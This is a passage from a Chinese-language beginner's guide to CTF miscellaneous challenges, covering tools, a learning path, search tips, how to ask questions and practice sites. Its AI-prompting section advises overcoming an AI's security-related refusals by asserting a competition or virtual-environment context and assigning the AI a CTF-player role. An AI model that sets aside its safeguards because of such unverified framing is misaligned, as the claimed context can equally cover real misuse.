等）分析一段交易记录，对合约代码进行逆向分析。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;常用工具&lt;/strong&gt;：&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;区块链浏览器（Etherscan、Blockchain.com、BscScan）&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;solc / remix（Solidity 编译与测试）&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;eth-cli / web3.py（区块链交互工具）&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;geth（以太坊客户端，适合分析数据文件）&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;学习建议&lt;/strong&gt;：如果对区块链完全陌生，可以先了解：&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;区块、交易、地址、签名这些基本概念；&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;智能合约的常见漏洞类型；&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;如何用区块链浏览器去追踪一笔交易。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Misc 没有固定套路，它的精髓在于“杂”，既考察技术广度，也考察耐心和发散思维。多刷题、多积累工具库，慢慢你就会对“杂项大杂烩”有更深的理解。&lt;/p&gt;&#xA;&lt;h3 id=&#34;学习路线&#34;&gt;学习路线&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e5%ad%a6%e4%b9%a0%e8%b7%af%e7%ba%bf&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;新手入门阶段&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;跟着 MoeCTF、CTFShow、校内新生赛做题&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;熟悉常见题型（Stego、OSINT、Encode）&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;学 Python 基础脚本 + Linux 基本命令&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;巩固阶段&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;刷题平台：BUUCTF、CTFShow、CTF+&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;尝试取证、流量分析类题目，积累工具&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;熟悉虚拟机、Kali Linux 常用工具&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;提升阶段&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;参与一些大型赛事，比如各种企业举办的网络安全大赛&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;学习 Pyjail（Python 沙箱逃逸）、复杂取证题&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;试着做一些 Blockchain、冷门脑洞 Misc 扩宽思维&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;进阶阶段&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;参加大型线上赛（强网杯、DASCTF、ISCC、CISCN）&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;积累出题人思路，尝试做复现/复盘&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;根据兴趣转向某个专业方向&lt;/strong&gt;（PWN、Crypto、Web…）&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2 id=&#34;如何提升自己&#34;&gt;如何提升自己&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e5%a6%82%e4%bd%95%e6%8f%90%e5%8d%87%e8%87%aa%e5%b7%b1&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;h3 id=&#34;囤囤鼠&#34;&gt;囤囤鼠&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e5%9b%a4%e5%9b%a4%e9%bc%a0&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;质疑脚本小子，理解脚本小子，成为脚本小子。&lt;/p&gt;&#xA;&lt;p&gt;随着你 misc 的史越赤越多，你会接触到五花八门的工具，这些工具大多需要自己搜寻，有些工具需要付费，也有很多免费工具都被发布在 GitHub 上，不便细说，需要各位善于利用搜索引擎。有能力的同学也可以自己编写常用脚本好好留存。&lt;/p&gt;&#xA;&lt;h4 id=&#34;常用工具&#34;&gt;常用工具&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e5%b8%b8%e7%94%a8%e5%b7%a5%e5%85%b7&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;          &lt;th&gt;&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;类型&lt;/td&gt;&#xA;          &lt;td&gt;工具&lt;/td&gt;&#xA;          &lt;td&gt;用途&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;文件分析&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;binwalk&lt;/td&gt;&#xA;          &lt;td&gt;拆包、分析文件结构&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;exiftool&lt;/td&gt;&#xA;          &lt;td&gt;查看文件元数据&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;010 Editor / WinHex&lt;/td&gt;&#xA;          &lt;td&gt;十六进制编辑器&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;隐写分析 (Stego)&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;stegsolve&lt;/td&gt;&#xA;          &lt;td&gt;图片隐写分析&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;zsteg&lt;/td&gt;&#xA;          &lt;td&gt;PNG 隐写检测&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;audacity&lt;/td&gt;&#xA;          &lt;td&gt;音频频谱分析&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;流量分析 (Traffic)&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Wireshark&lt;/td&gt;&#xA;          &lt;td&gt;图形化流量分析&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;tshark&lt;/td&gt;&#xA;          &lt;td&gt;命令行流量分析&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;tcpflow / NetworkMiner&lt;/td&gt;&#xA;          &lt;td&gt;流量重组、提取通信&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;CTF-NETA&lt;/td&gt;&#xA;          &lt;td&gt;自动化流量分析工具&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;取证分析 (Forensics)&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Volatility&lt;/td&gt;&#xA;          &lt;td&gt;内存取证&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Lovelymem&lt;/td&gt;&#xA;          &lt;td&gt;Volatility 的可视化 GUI 版本&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Autopsy&lt;/td&gt;&#xA;          &lt;td&gt;磁盘/镜像取证&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;DiskGenius&lt;/td&gt;&#xA;          &lt;td&gt;挂载磁盘、恢复文件&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;strong&gt;编码/加密 (Encode)&lt;/strong&gt;&lt;/td&gt;&#xA;          &lt;td&gt;CyberChef&lt;/td&gt;&#xA;          &lt;td&gt;万能在线解码工具 &lt;a href=&#34;https://cyberchef.org/&#34;&gt;https://cyberchef.org&lt;/a&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;BugKu CTF 工具站&lt;/td&gt;&#xA;          &lt;td&gt;Base64/URL/Morse/Brainfuck 等常见解码 &lt;a href=&#34;https://ctf.bugku.com/tools&#34;&gt;https://ctf.bugku.com/tools&lt;/a&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;随波逐流&lt;/td&gt;&#xA;          &lt;td&gt;自动化编码解码工具 &lt;a href=&#34;http://1o1o.xyz/&#34;&gt;http://1o1o.xyz/&lt;/a&gt;&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;&lt;/td&gt;&#xA;          &lt;td&gt;Python 脚本&lt;/td&gt;&#xA;          &lt;td&gt;自写小工具、批量解码&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;p&gt;注意，这里只是给到部分工具，实际上所需要的工具可能数倍与本篇文章所提。&lt;/p&gt;&#xA;&lt;h3 id=&#34;学会使用搜索引擎&#34;&gt;学会使用搜索引擎&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e5%ad%a6%e4%bc%9a%e4%bd%bf%e7%94%a8%e6%90%9c%e7%b4%a2%e5%bc%95%e6%93%8e&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;很多同学不愿意自己上网搜，因为看到自己的搜索结果只想骂街，全都是垃圾信息其实你并不是懒得搜，而是没掌握搜索引擎的正确姿势。&lt;/p&gt;&#xA;&lt;h4 id=&#34;搜索基本功&#34;&gt;搜索基本功&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e6%90%9c%e7%b4%a2%e5%9f%ba%e6%9c%ac%e5%8a%9f&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;提取关键词&lt;/strong&gt;不要扯一堆堆废话，直接提炼出核心词，不需要修饰词。&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;❌ “这是一段奇怪的乱码，帮我看看是什么编码？” “如何在我的电脑里安装 Python”&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;✅ “brainfuck 编码 示例” “ Windows 安装 Python”&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;排除干扰&lt;/strong&gt;-关键词 可以去掉不想要的东西。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;python 教程 -蛇&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;限定范围&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;site:stackoverflow.com rust error（只搜某网站）&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;filetype:pdf CTF Writeup（只搜特定格式）&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&amp;quot; &amp;quot; 表示要求搜索结果必须完整匹配。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;学会翻墙/用外网&lt;/strong&gt;技术问题优先看英文结果，答案量级直接爆炸，这方面你不能不服歪果仁。浏览器安装一个沉浸式翻译插件，多看官方英文文档，多看外区论坛，实用又高效。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;换角度尝试&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;换用同义词或相关表述。&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;pre&gt;&lt;code&gt;1. 例：搜 崩溃 换成 报错、异常。&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;不要过于依赖第一次搜索，找不到有效信息就多换几组关键词。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;判断信息质量&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;优先选择权威网站、论坛或官方文档。&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;警惕广告或非官方来源的内容。&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h3 id=&#34;高效使用-ai--prompt&#34;&gt;高效使用 AI &amp;amp; Prompt&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e9%ab%98%e6%95%88%e4%bd%bf%e7%94%a8-ai--prompt&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;在现在的线上赛中，AI（比如 ChatGPT、Claude 等）已经成为了非常重要的一种工具，用得好是神兵利器，用不好就是复读机。这里分享几点 &lt;del&gt;调教&lt;/del&gt; 使用 AI 的小技巧：&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;占领道德制高点：大部分 AI 会因规则限制，以“涉及安全风险”的理由拒绝回答有关网络安全方面的题目，如果你遭遇了这种问题，你需要明确表示清楚你正在进行网络安全比赛，一切操作建立在虚拟环境的基础，目的是为了保护网络安全降低风险。你可以告诉 AI &lt;strong&gt;你希望它以什么身份回答&lt;/strong&gt;。比如：&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;「你是 CTF 选手，请一步步帮我分析」&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;「你是流量分析专家，帮我解释这份 pcap」&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;「请只给我思路，不要直接给答案」&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;明确需求，给上下文：不要上来就丢给大模型一句“帮我解题”或是“给我 flag”，AI 不会读心。要尽量把你遇到的情况描述清楚，最基础也要给出完整的题目，题目类型，题目内容，以及可能的解题方向，包括但不限于：&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;文件类型（图片、音频、流量包……）&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;你尝试过的方法&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;你卡在哪一步&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;使用清晰，简明的表述：如果你一直重复“帮我看看这东西”“这有问题吗”这种模糊问题，AI 的输出也会模糊。如果你真的想解决问题，最好加上：&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;文件片段/hex/报错信息&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;工具输出&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;你的目标（比如“我要找到Flag”）&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;常用模板：&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;分析类&lt;/strong&gt;「我正在做一道 CTF Misc 题目，现在手里有 [文件/数据]，请从 [隐写/流量/取证/编码] 的角度帮我提供分析思路，并给出所需要的代码」&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;工具解释类&lt;/strong&gt;「我用 [工具名] 得到如下输出：[结果]，请帮我分析可能是什么。」&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;学习类&lt;/strong&gt;「请用简明概要的语言讲解一下CTF 中的 [知识点]。」&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;再次强调：AI 不是外挂，只是工具。AI 的强大绝大多数都取决于你是否强大。&lt;/p&gt;&#xA;&lt;h3 id=&#34;不懂就问&#34;&gt;不懂就问&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e4%b8%8d%e6%87%82%e5%b0%b1%e9%97%ae&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;&lt;strong&gt;“学问学问，不懂就要问”&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;CTF 的师傅们大多都比较热心，建议各位同学主动拓宽自己的人脉，多在各种群活跃水群，多回答问题，多交流，尤其是 misc，靠的就是脑电波，更需要交流。打 CTF 的其实也就那几个人，各种赛群换来换去其实群成员都不带变的，有些时候出题人就在你的列表。遇到不会的问题，可以主动出击，当然：如果是赛题，不要在比赛期间内去问，不然就变成 py 了，很多时候会让师傅们对你的印象大打折扣，等到比赛结束后，你想怎么问就怎么问，不过也不要太过没有边界感。&lt;/p&gt;&#xA;&lt;p&gt;但是，再问问题之前，我 希望/要求 你能明白 「提问的智慧」。&lt;/p&gt;&#xA;&lt;h4 id=&#34;提问的智慧&#34;&gt;提问的智慧&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e6%8f%90%e9%97%ae%e7%9a%84%e6%99%ba%e6%85%a7&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h4&gt;&#xA;&lt;p&gt;会问问题的人，能把时间换成生产力。&lt;strong&gt;好问题 = 更快的突破&lt;/strong&gt;。&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;想清楚你要什么&lt;/strong&gt; — 目标明确（找思路 / 排错 / 学原理 / 找工具）。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;把上下文一次性给全&lt;/strong&gt; — 文件类型、工具输出、你尝试过的步骤、出错信息、期望结果。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;越具体越好&lt;/strong&gt; — 贴出关键的输出片段（hex、log、pcap片段、错误栈、文件），不要只说“出问题了”。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;strong&gt;可复现 + 可执行&lt;/strong&gt; — 如果需要别人的复现或复查，给出可复现的数据/步骤（注意隐私）&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;提问流程：&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;简单清晰的一句话概括问题，不说废话（1–2 行）。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;必要背景：文件类型 / 平台 / 题目提示（如果能贴原题更好）。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;你做了什么（工具、命令、输出关键行）。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;你卡在哪儿 / 想要什么形式的帮助（思路 / 工具 / 逐步引导）。&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;必要的感谢语，比如“谢谢师傅”“麻烦师傅了”，可以看关系程度添加适当的表情包&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;贴一篇能教你**「如何正确提出问题」**的文章，我个人建议在正式提出问题前，应该认真阅读一遍。&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://github.com/ryanhanwu/How-To-Ask-Questions-The-Smart-Way/blob/main/README-zh_CN.md&#34;&gt;How-To-Ask-Questions-The-Smart-Way/README-zh_CN.md at main · ryanhanwu/How-To-Ask-Questions-The-Smart-Way&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;菜就多练&#34;&gt;菜就多练&lt;a class=&#34;heading-anchor&#34; href=&#34;#%e8%8f%9c%e5%b0%b1%e5%a4%9a%e7%bb%83&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;学习 CTF 的途径有90%都是比赛，以赛代练是最为通用的训练方式，多参加比赛，无论大小，你都能看到不同师傅们的出题方向，解题思路，集百家之长。&lt;/p&gt;&#xA;&lt;p&gt;推荐几个优秀的 CTF 刷题平台，有些比赛也会在这里举办，不仅限于 misc 方向，排名不分先后。&lt;/p&gt;&#xA;&lt;p&gt;这些平台的用户也很多，遇到不会的题可以直接在搜索引擎搜索平台+题目，很多题目的题解都能搜到。&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://ctf.bugku.com/&#34;&gt;BugKu CTF&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://ctf.show/&#34;&gt;CTF Show&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://www.nssctf.cn/index&#34;&gt;NSSCTF&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://www.ctfhub.com/#/index&#34;&gt;CTFHub&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://buuoj.cn/&#34;&gt;BUUCTF&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://adworld.xctf.org.cn/home/index&#34;&gt;攻防世界&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;&lt;a 